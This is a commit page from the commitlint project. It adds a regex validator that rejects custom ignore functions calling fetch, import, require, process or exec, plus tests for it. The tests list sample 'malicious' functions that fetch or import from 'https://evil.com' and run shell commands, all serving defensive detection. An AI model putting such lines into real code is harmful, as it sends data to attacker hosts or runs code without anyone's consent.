Skip to content

Commit 7403d63

Browse files
authored
fix: improve security validation regex in is-ignored function (#4258)
1 parent da8a507 commit 7403d63

File tree

3 files changed

+91
-1
lines changed

3 files changed

+91
-1
lines changed

@commitlint/is-ignored/src/is-ignored.test.ts

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import {test, expect} from 'vitest';
22

33
import isIgnored from './is-ignored.js';
4+
import {Matcher} from '@commitlint/types';
45

56
const VERSION_MESSAGES = [
67
'0.0.1',
@@ -205,3 +206,64 @@ test('should throw error if any element of ignores is not a function', () => {
205206
} as any);
206207
}).toThrow('ignores must be array of type function, received items of type:');
207208
});
209+
210+
test('should throw error if custom ignore function returns non-boolean value', () => {
211+
const testCases = [
212+
() => 1, // number
213+
() => 'true', // string
214+
() => undefined, // undefined
215+
() => null, // null
216+
() => ({}), // object
217+
() => [], // array
218+
];
219+
220+
testCases.forEach((testFn) => {
221+
expect(() => {
222+
isIgnored('some commit', {
223+
ignores: [testFn as unknown as Matcher],
224+
});
225+
}).toThrow('Ignore function must return a boolean');
226+
});
227+
});
228+
229+
test('should throw error for custom ignore functions with security risks', () => {
230+
const maliciousPatterns = [
231+
'function() { fetch("https://evil.com"); return true; }',
232+
'function() { import("https://evil.com"); return true; }',
233+
'function() { require("fs"); return true; }',
234+
'function() { process.exec("ls"); return true; }',
235+
'function() { process.spawn("ls"); return true; }',
236+
'function() { process.execFile("ls"); return true; }',
237+
'function() { process.execSync("ls"); return true; }',
238+
'function() { new XMLHttpRequest(); return true; }',
239+
];
240+
241+
maliciousPatterns.forEach((fnString) => {
242+
const fn = new Function(`return ${fnString}`)();
243+
expect(() => {
244+
isIgnored('some commit', {
245+
ignores: [fn],
246+
});
247+
}).toThrow('Ignore function contains forbidden pattern');
248+
});
249+
});
250+
251+
test('should not throw error for custom ignore functions without security risks', () => {
252+
const safePatterns = [
253+
'function(commit) { return commit === "some commit"; }',
254+
'function(commit) { return commit.startsWith("some"); }',
255+
'function(commit) { return commit.includes("some"); }',
256+
'function(commit) { return commit.length < 10 && commit.includes("some"); }',
257+
'function(commit) { return commit.length < 10 || commit.includes("fetch"); }',
258+
'function(commit) { return commit.includes("exec"); }',
259+
];
260+
261+
safePatterns.forEach((fnString) => {
262+
const fn = new Function(`return ${fnString}`)();
263+
expect(() => {
264+
isIgnored('some commit', {
265+
ignores: [fn],
266+
});
267+
}).not.toThrow();
268+
});
269+
});

@commitlint/is-ignored/src/is-ignored.ts

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
import {wildcards} from './defaults.js';
22
import {IsIgnoredOptions} from '@commitlint/types';
3+
import {validateIgnoreFunction} from './validate-ignore-func.js';
34

45
export default function isIgnored(
56
commit: string = '',
@@ -13,6 +14,9 @@ export default function isIgnored(
1314
);
1415
}
1516

17+
// Validate ignore functions
18+
ignores.forEach(validateIgnoreFunction);
19+
1620
const invalids = ignores.filter((c) => typeof c !== 'function');
1721

1822
if (invalids.length > 0) {
@@ -24,5 +28,13 @@ export default function isIgnored(
2428
}
2529

2630
const base = opts.defaults === false ? [] : wildcards;
27-
return [...base, ...ignores].some((w) => w(commit));
31+
return [...base, ...ignores].some((w) => {
32+
const result = w(commit);
33+
if (typeof result !== 'boolean') {
34+
throw new Error(
35+
`Ignore function must return a boolean, received ${typeof result}`
36+
);
37+
}
38+
return result;
39+
});
2840
}
Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import {Matcher} from '@commitlint/types';
2+
3+
export function validateIgnoreFunction(fn: Matcher) {
4+
const fnString = fn.toString();
5+
6+
// Check for dangerous patterns
7+
const dangerousPattern =
8+
/(?:process|require|import|eval|fetch|XMLHttpRequest|fs|child_process)(?:\s*\.|\s*\()|(?:exec|execFile|spawn)\s*\(/;
9+
if (dangerousPattern.test(fnString)) {
10+
// Find which pattern matched for a more specific error message
11+
const match = fnString.match(dangerousPattern);
12+
throw new Error(
13+
`Ignore function contains forbidden pattern: ${match?.[0].trim()}`
14+
);
15+
}
16+
}

0 commit comments

Comments
 (0)